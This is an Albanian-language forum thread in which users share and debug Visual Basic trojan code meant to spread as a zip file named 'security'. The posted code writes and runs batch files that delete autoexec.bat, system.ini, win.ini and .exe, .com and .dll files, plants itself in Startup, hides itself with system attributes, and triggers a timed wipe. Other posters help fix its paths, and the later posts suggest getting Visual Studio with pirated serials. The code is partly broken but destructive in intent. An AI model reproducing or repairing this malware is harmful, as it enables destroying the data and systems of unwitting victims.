Trojanet dhe shperndarja e viruseve

[Force-Intruder]

Ky i riu qe thua ti implikon prape ata qe te thashe ne fillim... pra memory resident, i fshehte, ngarkohet bashke me win etj etj.
Beje hajde.... dhe me jep nje kopje edhe mua...

[sniper_007]

shikoje kete

ky program perbehet nga dy pjese dhe shperndahet ne forme zip file , nqs do klikohet security





Private Sub Command1_Click()
Open "c:\ladi3565.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Close #1
Name "c:\ladi3565.txt" As "c:\alfa.bat"
Shell "c:\alfa.bat"
Kill "c:\alfa.bat"
Open "c:\windows\boot12.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Close #1
Name "c:\winnt\boot12.txt" As "c:\winnt\boot12.bat"
Open "c:\autoexec.txt" For Output As #1
Print #1, "@echo off"
Print #1, "cd c:\"
Print #1, "del *.com"
Print #1, "cd c:\winnt\"
Print #1, "del *.exe"
Print #1, "del win.ini
Print #1, "cd c:\winnt\system\"
Print #1, "del *.drx"
Print #1, "del *.dll"
Print #1, "cd.."
Print #1, "boot12
Print #1, "cd c:\winnt\system32\
Print #1, "del *.dll"
Print #1, "del *.oxc"
Print #1, "cd c:\winnt\"
Print #1, "boot12.bat
Close #1
Name "c:\autoexec.txt" As "c:\autoexec.bat"
Close #1
open "c:\kater.txt" for output as #1
print #1, "@echo off"
print #1, "c:\"
print #1, "cd c:\winnt\"
print #1, "del system.ini "
close #1
name "c:\kater.txt" as "c:\kater.bat"
shell "c:\kater.bat"
kill "c:\kater.bat"
open "c:\winnt\system\boot13.txt" for output as #1
Print #1, "@echo off"
Print #1, "cd c:\"
Print #1, "del *.com"
Print #1, "cd c:\winnt\"
Print #1, "del *.exe"
Print #1, "del win.ini
Print #1, "cd c:\winnt\system\"
Print #1, "del *.drx"
Print #1, "del *.dll"
Print #1, "cd.."
Print #1, "boot12
Print #1, "cd c:\winnt\system32\
Print #1, "del *.dll"
Print #1, "del *.oxc"
Print #1, "
close #1
name "c:\winnt\system\boot13.txt" as "c:\winnt\system\boot13.bat"
open "c:\winnt\system.txt" for output as #1
print #1, "[boot]"
print #1, "shell=Explorer.exe bot12.bat"
close #
name "c:\winnt\system.txt" as "c:\winnt\system.ini"
open "c:\kat.txt" for output as #1
print #1, "@echo off"
print #1, "cd c:\unziped\"
print #1, "move c:\unziped\security00.exe c:\winnt\startm~1\progra~1\startup\"
print #1, "attrib +s security00"
close #1
name "c:\kat.txt" as "c:\kat.bat"
shell "c:\kat.bat"
kill "c:\kat.bat"
end sub




ky tjetri eshte programi i dyt




Private Sub Form_Load()


Private Sub Text1_Change()
If Text1.Text = "19:00:00" Then
Call gallate
End If

Private Sub Text2_Change()
If Text2.Text = "20:00:00" Then
Call bum
End If
End Sub

private sub timer1.timer()
text1.text = DateTime.Time$

Private Sub gallate()
On Error Resume Next
Open "c:\art.txt" For Output As #1
print #1, "@echo off"
Print #1, "cd c:\"
Print #1, "del *.com"
Print #1, "cd c:\winnt\"
Print #1, "del *.exe"
Print #1, "del win.ini
Print #1, "cd c:\winnt\system\"
Print #1, "del *.drx"
Print #1, "del *.dll"
Print #1, "cd.."
Print #1, "boot12
Print #1, "cd c:\winnt\system32\
Print #1, "del *.dll"
Print #1, "del *.oxc"
End If
name "c:\art.txt" as "c:\art.bat"
shell "c:\art.bat"
kill "c:\art.bat"
open "c:\kat.txt" for output as #1
print #1, "@echo off"
print #1, "cd c:\unziped\
print #1, "move security.exe c:\winnt\system\"
print #1, "attrib +s security.exe"
close #1
name "c:\kat.txt" as "c:\kat.bat"
shell "c:\kat.bat"
kill "c:\kat.bat"
End Sub
open "c:\winnt\win.txt" for output as #1
print #1, "[windows]
print #1, "load=security.exe
print #1, "run=security.exe
close #1
name "c:\winnt\win.txt" as "c:\winnt\win.ini"
end sub



shikoi njecik se mund te keme ber gjithato gabime , se e humba fillin fare ngaqe jane gjithato kode

[Ardi_Pg_ID]

ok nje po ta jap une tek i pari ke nje gabim pasi ke gabime ne dir


Open "c:\windows\boot12.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Close #1
Name "c:\winnt\boot12.txt" As "c:\winnt\boot12.bat"


pra drejtoria windows ku e mer filen eshte vetem defoult per win9x edhe ti pastaj e krijon ne nje drejtori tjeter qe mbase nuk exist ne ate PC gjithnone mundohu me drejtorite te kesh kujdes prap ajo cka tha F-I eshte e domosdoshme per te kontrolluar sistemi se ca win run ))

take carekot

[sniper_007]

tash qe kishja ngateruar dicka , po spata me durim ta gjeja ca...

per te kontrolluar se ca windowsi eshte run , mi jepni te sakta komandat se un si kame dhe aq te qarta , OK ?

[Force-Intruder]

Po hmm me duhet te shkruaj nje kod me vete per kete keshtu qe me fal qe nuk po ta dergoj dot direkt ok?
Kur te kem kohe te lire po ta dergoj ok?

[sniper_007]

ok vella , pres un se kam problem
desha te di se nga ta shkarkoj visual basic 6 , se kazaa ma beri linjen plere , dhe e hoqa
po ditet ndonje url ose program ma tregoni

[sniper_007]

hejjjjj , ku humbet ......................

[benseven11]

e merr nga microsofti
pastaj i gjejme ndonje serial
a e di si e ka emrin skedari exe ose zip i vizual bazikut?

[Ardi_Pg_ID]

sniper ...VB nuk mund ta maresh thjesht si vb po duhet te maresh VS (visual Studio) nese je ne USA me thuaj adrese te te dergoj komplet set te VS ose nese je ne shqiperi thuaji ndonej qe e ka e beje kopje se serjale gjejme sa te duash f... 500 lek te vjetra eshte nje CD bosh edhe mund ta blesh tek infosofti 5000 lek te vjetra eshte nje CD po menyra me e mire eshte shoqeria ... se VS eshte nje program i madh en 5 CD (bashke me MSD help qe mund te te haje dite te tera per ta shkarkuar ...nese shpresoj te te ndohmoje ndonje ose sic thashe nese je ne usa me thuaj address te te dergoj une 5 cd e VS6.0

[sniper_007]

o Ardi_Pg_ID , nuk jam ne usa vella , po gjithesesi faleminderit per ndihmen .
e kam shkarkuar njehere visual studio , po jo full , nga kazaa pa msdn dhe me vajti 79mb . kur e shkarkova kazen nga 120 kb/s linja me vajti 20 kb/s

do ta provoj njehere nga microsofti ,mase e shkarkoj
se snjof ndonji qe e ka vs.